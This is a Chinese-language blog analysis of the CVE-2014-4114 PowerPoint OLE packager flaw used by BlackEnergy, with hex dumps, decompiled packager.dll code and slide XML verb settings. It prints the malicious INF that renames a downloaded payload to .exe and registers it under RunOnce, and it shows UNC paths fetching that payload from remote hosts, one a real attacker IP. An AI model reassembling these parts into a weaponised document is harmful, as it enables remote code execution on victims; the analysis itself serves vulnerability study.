RCE

CVE-2014-4114

RCE

Posted by DC on April 27, 2019

CVE-2014-4114

分析blackenergy时,该组织采用了cve-2014-4114漏洞进行攻击

漏洞简述:

该漏洞 是OLE包管理INF 任意代码执行漏洞 ,通过使用PowerPoint作为攻击载体,在OLE打包文件(packer.dll)中能够下载并执行类似的INF外部文件,允许攻击者执行命令。

简单分析过程:

分析对象为一个 xx.ppsx 文件

该类型文件为PPT文件类型,当文件点击执行后会直接进入PPT 演示状态。

漏洞触发过程为:
1.执行PPT –> 
2.内置2个OLE对象–> 
3.OLE对象包含2个远程webdav地址 –>
4.调用packager.dll的函数CPackage::OLE2MPlayerReadFromStream把远程的 slide1.gif slides.inf 下载下来  —> 
5.函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件–>
6.inf将slide1.gif重命名为slide1.gif.exe。然后添加注册表启动项
7.攻击成功

通过filealyz软件(查看二进制)查看 为两个明显的ole对象。

包含 webdav路径,

当该文件被PPT加载后,它会调用Packager.dll的CPackage::OLE2MPlayerReadFromStream函数将这两个文件从网络上下载下来并保存在临时目录中。

00006570h: 70 70 74 2F 65 6D 62 65 64 64 69 6E 67 73 2F 6F ; ppt/embeddings/o
00006580h: 6C 65 4F 62 6A 65 63 74 31 2E 62 69 6E          ; leObject1.bin

000077d0h: 6D 62 65 64 64 65 64 53 74 67 32 2E 74 78 74 00 ; mbeddedStg2.txt.
000077e0h: 5C 5C 31 39 32 2E 31 36 38 2E 32 33 39 2E 31 32 ; \\192.168.239.12
000077f0h: 39 5C 73 68 61 72 65 5C 73 6C 69 64 65 73 2E 69 ; 9\share\slides.i
00007800h: 6E 66                                           ; nf

00006faeh: 70 70 74 2F 65 6D 62 65 64 64 69 6E 67 73 2F 6F ; ppt/embeddings/o
00006fbeh: 6C 65 4F 62 6A 65 63 74 32 2E 62 69 6E          ; leObject2.bin


00006d91h: 45 6D 62 65 64 64 65 64 53 74 67 31 2E 74 78 74 ; EmbeddedStg1.txt
00006da1h: 00 5C 5C 31 39 32 2E 31 36 38 2E 32 33 39 2E 31 ; .\\192.168.239.1
00006db1h: 32 39 5C 73 68 61 72 65 5C 73 6C 69 64 65 31 2E ; 29\share\slide1.
00006dc1h: 67 69 66                                        ; gif

ole对象进行访问处理
针对路径进行 UNC 的访问处理 造成将远程样本下载到 temp目录下

__int64 __fastcall CPackage::OLE2MPlayerReadFromStream(CPackage *this, struct IStream *a2)
{
  struct IStream *v2; // rbp
  void **v3; // rdi
  signed int v4; // ebx
  _BYTE *v5; // rax
  _BYTE *v6; // rsi
  _BYTE *v7; // rbx
  int i; // ecx
  const CHAR *v9; // rbx
  unsigned __int64 v10; // r8
  const CHAR *v11; // rdx
  void *v12; // rax
  const WCHAR *v13; // rcx
  _DWORD *v14; // rax
  signed __int64 v15; // rbp
  char *v16; // rax
  _WORD *v17; // rdx
  _WORD *v18; // rcx
  SIZE_T uBytes; // [rsp+40h] [rbp+8h]

  *((_DWORD *)this + 26) = 3;
  v2 = a2;
  v3 = (void **)this;
  v4 = ((__int64 (__fastcall *)(struct IStream *, SIZE_T *, signed __int64))a2->lpVtbl->Read)(a2, &uBytes, 4i64);
  if ( v4 >= 0 && (unsigned int)uBytes > 0 )
  {
    v5 = LocalAlloc(0, (unsigned int)uBytes);
    v6 = v5;
    if ( v5 )
    {
      v4 = ((__int64 (__fastcall *)(struct IStream *, HLOCAL, _QWORD, _QWORD))v2->lpVtbl->Read)(
             v2,
             v5,
             (unsigned int)uBytes,
             0i64);
      if ( v4 >= 0 )
      {
        v7 = v6;
        for ( i = 0; *v7; ++v7 )
        {
          if ( v7 >= &v6[(unsigned int)uBytes] )
            break;
        }
        v9 = v7 + 1;
        v10 = (unsigned __int64)&v6[(unsigned int)uBytes];
        if ( (unsigned __int64)v9 < v10 )
        {
          v11 = v9;
          do
          {
            if ( !*v11 )
              break;
            ++i;
            ++v11;
          }
          while ( (unsigned __int64)&v9[i] < v10 );
        }
        if ( (unsigned __int64)&v9[i] >= v10 )
          goto LABEL_27;
        v12 = v3[14];
        if ( v12 )
        {
          v13 = (const WCHAR *)*((_QWORD *)v12 + 74);
          if ( v13 )
          {
            DeleteFileW(v13);
            operator delete(*((void **)v3[14] + 74));
          }
          operator delete(v3[14]);
        }
        v14 = operator new(0x270ui64);
        v3[14] = v14;
        if ( !v14 )
        {
LABEL_27:
          v4 = -2147467259;
          goto LABEL_28;
        }
        *v14 = 64;
        *((_DWORD *)v3[14] + 17) = uBytes;
        v15 = 260i64;
        *((_DWORD *)v3[14] + 16) = 0;
        *((_DWORD *)v3[14] + 154) = 0;
        SHAnsiToUnicode(v9, (LPWSTR)v3[14] + 36, 260);
        v4 = CPackage::CreateTempFileName((CPackage *)v3);
        if ( v4 >= 0 )
        {
          if ( CopyFileW((LPCWSTR)v3[14] + 36, *((LPCWSTR *)v3[14] + 74), 1) )
          {
            v16 = (char *)v3[14];
            v17 = (_WORD *)*((_QWORD *)v16 + 74);
            v18 = v16 + 72;
            do
            {
              if ( v15 == -2147483386 )
                break;
              if ( !*v17 )
                break;
              *v18 = *v17;
              ++v17;
              ++v18;
              --v15;
            }
            while ( v15 );
            if ( !v15 )
              --v18;
            *v18 = 0;
            goto LABEL_28;
          }
          goto LABEL_27;
        }
      }
LABEL_28:
      LocalFree(v6);
      return (unsigned int)v4;
    }
  }
  return (unsigned int)v4;
}

在函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件

Office最著名的功能是OLE(对象连接嵌入),ActiveX容器(PowerPoint就是一个容器)可以通过嵌入一个外部ActiveX对象,来丰富容器的功能。ActiveX机制最著名的一个功能是DoVerb,容器可以通过DoVerb接口要求ActiveX对象执行一定的动作,比如激活、隐藏等。

Office为了通用性,当嵌入非ActiveX对象时,嵌入的数据由内置的Package包装并展现为ActiveX对象。内置的Package对象由%system32%\packager.dll实现

同时,在xml的相关信息也标注了verb操作中采用了相关的处理手法,在ppt\slides\slide1.xml中

slide1.xml 该文件主要为了标注动画播放信息

<p:cmd type="verb" cmd="-3">   #verb 采用 指令 -3
<p:cBhvr>
<p:cTn id="10" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0"/>
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="4"/>
</p:tgtEl>
</p:cBhvr>
</p:cmd>


<p:cmd type="verb" cmd="3">   #verb 采用 指令 3
<p:cBhvr>
<p:cTn id="14" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0"/>
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="5"/>
</p:tgtEl>
</p:cBhvr>
</p:cmd>

对gif对象执行的verb动作cmd为-3(无具体处理,主要为了下载该文件),而对inf对象执行的verb动作cmd为3(inf的安装操作)

对应的packager.dll 或只能怪对verb 动作做处理的 CPackage::DoVerb 函数的处理如下

在windbg 目录下 执行下列命令 获取 该dll pdb 文件

symchk /r c:\windows\system32\packager.dll /s SRV*c:\pdb*http://msdl.microsoft.com/download/symbols

__int64 __fastcall CPackage::DoVerb(CPackage *this, signed int a2, struct tagMSG *a3, struct IOleClientSite *a4, int a5, HWND a6, const struct tagRECT *a7)
{
  signed int v7; // er12
  struct tagMSG *v8; // r13
  CPackage *v9; // rsi
  struct IOleClientSite *v10; // r14
  signed int v11; // edi
  __int64 result; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  unsigned int v15; // eax
  _DWORD *v16; // rax
  signed __int64 v17; // rdx
  WCHAR *v18; // rcx
  signed __int64 v19; // r8
  WCHAR v20; // ax
  HMENU v21; // rax
  struct IContextMenu *v22; // rbp
  HMENU v23; // r13
  struct IContextMenu *v24; // [rsp+40h] [rbp-B68h]
  int v25; // [rsp+48h] [rbp-B60h]
  int v26; // [rsp+4Ch] [rbp-B5Ch]
  __int64 v27; // [rsp+50h] [rbp-B58h]
  __int64 v28; // [rsp+58h] [rbp-B50h]
  __int64 v29; // [rsp+60h] [rbp-B48h]
  __int64 v30; // [rsp+68h] [rbp-B40h]
  int v31; // [rsp+70h] [rbp-B38h]
  SHELLEXECUTEINFOW pExecInfo; // [rsp+80h] [rbp-B28h]
  struct tagMENUITEMINFOW mii; // [rsp+F0h] [rbp-AB8h]
  __int16 v34; // [rsp+140h] [rbp-A68h]
  char Dst; // [rsp+142h] [rbp-A66h]
  WCHAR String; // [rsp+348h] [rbp-860h]
  WCHAR pszPath; // [rsp+760h] [rbp-448h]
  unsigned __int16 v38; // [rsp+970h] [rbp-238h]

  v7 = a2;
  v8 = a3;
  v9 = this;
  v10 = a4;
  pExecInfo.cbSize = 112;
  memset(&pExecInfo.fMask, 0, 0x6Cui64);
  v11 = -2147467259;
  if ( v7 < -2 )        //第一个操作指令为-3 则直接返回(目的是将gif文件下载到tmp目录下)
    return 2147500033i64;
  if ( v7 == -1 )       //编辑命令
  {
    v13 = *((_QWORD *)v9 + 12);
    if ( !v13 || !*(_WORD *)(v13 + 72) )
    {
      v14 = *((_QWORD *)v9 + 13);
      if ( !v14 || v14 == -4 )
      {
LABEL_8:
        v34 = 0;
        memset(&Dst, 0, 0x206ui64);
        memset(&String, 0, 0x418ui64);
        PackWiz_CreateWizard(a6, (struct _packageInfo *)&v34);
        if ( lstrlenW(&String) )
          result = CPackage::InitFromPackInfo((CPackage *)((char *)v9 - 16), (struct _packageInfo *)&v34);
        else
          result = 262529i64;
        return result;
      }
    }
  }
  else
  {
    if ( v7 == 2 )    //指令 2 获取真实的verb
       v7 = *((_DWORD *)v9 + 56);
    if ( v7 == -1 || v7 == -2 )
      goto LABEL_8;
    if ( v7 == 1 )   //更改object名称
    {
      v15 = CPackage::_ChangePackageLabel((CPackage *)((char *)v9 - 16), a6);
LABEL_16:
      return v15;
    }
    if ( v7 )     // 对 inf 文件 执行 shell 右键菜单中的默认(安装)命令
    {
      v11 = CPackage::GetContextMenu((CPackage *)((char *)v9 - 16), &v24);
      if ( v11 >= 0 )
      {
        v21 = CreatePopupMenu();
        v22 = v24;
        v23 = v21;
        if ( v21 )
        {
          v11 = ((__int64 (__fastcall *)(struct IContextMenu *, HMENU, _QWORD, signed __int64, signed int, _DWORD))v24->lpVtbl->QueryContextMenu)(
                  v24,
                  v21,
                  0i64,
                  2i64,
                  0xFFFF,
                  0);
          if ( v11 >= 0 )
          {
            mii.cbSize = 80;
            mii.fMask = 2;
            if ( GetMenuItemInfoW(v23, v7 - 2, 1, &mii) )
            {
              if ( *((_DWORD *)v9 + 22) == 3 )
                v11 = CPackage::CreateTempFile((CPackage *)((char *)v9 - 16), 0);
              if ( v11 >= 0 )
              {
                v25 = 56;
                v26 = 0;
                v27 = 0i64;
                v29 = 0i64;
                v30 = 0i64;
                v31 = 1;
                v28 = mii.wID - 2;
                v11 = ((__int64 (__fastcall *)(struct IContextMenu *, int *))v22->lpVtbl->InvokeCommand)(v22, &v25);  //进行指令执行
              }
            }
            else
            {
              v11 = 262529;
            }
          }
          DestroyMenu(v23);
        }
        else
        {
          v11 = -2147024882;
        }
        ((void (__fastcall *)(struct IContextMenu *))v22->lpVtbl->Release)(v22);
      }
      return (unsigned int)v11;
    }
  }
  if ( *((_DWORD *)v9 + 22) != 1 )
  {
    if ( *((_DWORD *)v9 + 22) != 3 )
      return (unsigned int)v11;
    if ( !*((_QWORD *)v9 + 12) )
      return 262529;
    if ( CPackage::_GiveWarningMsg((CPackage *)((char *)v9 - 16), a6) != 2 )
    {
      v15 = CPackage::_ActivateEmbeddedFile((CPackage *)((char *)v9 - 16), 0, v8, v10, a5, a6, a7);
      goto LABEL_16;
    }
LABEL_28:
    return 0;
  }
  v16 = (_DWORD *)*((_QWORD *)v9 + 13);
  if ( !v16 || !*v16 && !gCmdLineOK )
  {
    ShellMessageBoxW(g_hinst, 0i64, (LPCWSTR)0xBBF, (LPCWSTR)0xBB8, 0x2010u);
    return (unsigned int)v11;
  }
  if ( CPackage::_GiveWarningMsg((CPackage *)((char *)v9 - 16), a6) == 2 )
    goto LABEL_28;
  v17 = 260i64;
  v18 = &pszPath;
  v19 = *((_QWORD *)v9 + 13) + 4i64 - (_QWORD)&pszPath;
  do
  {
    if ( v17 == -2147483386 )
      break;
    v20 = *(WCHAR *)((char *)v18 + v19);
    if ( !v20 )
      break;
    *v18 = v20;
    ++v18;
    --v17;
  }
  while ( v17 );
  if ( !v17 )
    --v18;
  *v18 = 0;
  PathRemoveBlanksW(&pszPath);
  if ( PathFileExistsW(&pszPath) )
    v38 = 0;
  else
    PathSeparateArgs(&pszPath, &v38, 0xF0u);
  pExecInfo.fMask = 0;
  pExecInfo.lpFile = &pszPath;
  pExecInfo.nShow = 1;
  pExecInfo.lpParameters = &v38;
  return ShellExecuteExW(&pExecInfo) == 0 ? 0x80004005 : 0;
}

该inf 文件伪装为硬件驱动安装程序

; 61883.INF  伪装为61883设备驱动
; Copyright (c) Microsoft Corporation.  All rights reserved.

[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} 
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385

[DestinationDirs]
DefaultDestDir = 1

[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart

[RxRename]
slides.gif.exe, slides.gif   将%temp%目录下slide1.gif 更名为 slides.gif.exe
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slides.gif.exe

将slides.gif.exe写入RunOnce自启动,

造成漏洞本身问题是,ole对象指定了一个UNC(Universal Naming Convention)路径 \94.185.85.122\public\slide1.gif,而ppt\ embeddings\oleObject2.bin OLE对象中指定了另一个UNC路径\94.185.85.122\public\slides.inf,当ppsx播放时这两个文件会被自动下载到临时目录 %TEMP% 下。

同时可以使用Doverb接口进行inf文件处理,在%system32%\packager.dll的CPackage::DoVerb处理中,允许该对象执行右键菜单中的存在的安装操作,进行inf 调用,通过组合将下载文件执行起来。

漏洞至少存在以下三种利用方式:

1.黑客可以构造嵌入OLE对象的恶意Office文件(例如word、ppt、excel等),以社工方式诱使用户打开该文档,执行任意程序;

2.或者用户访问了嵌入该恶意Office文件的网站时,当本地的浏览器使用Office组件打开了此文档,也可以引发恶意程序的执行;

3.或者用户使用Outlook浏览了嵌入该恶意Office文件的邮件,也可以引发恶意程序执行;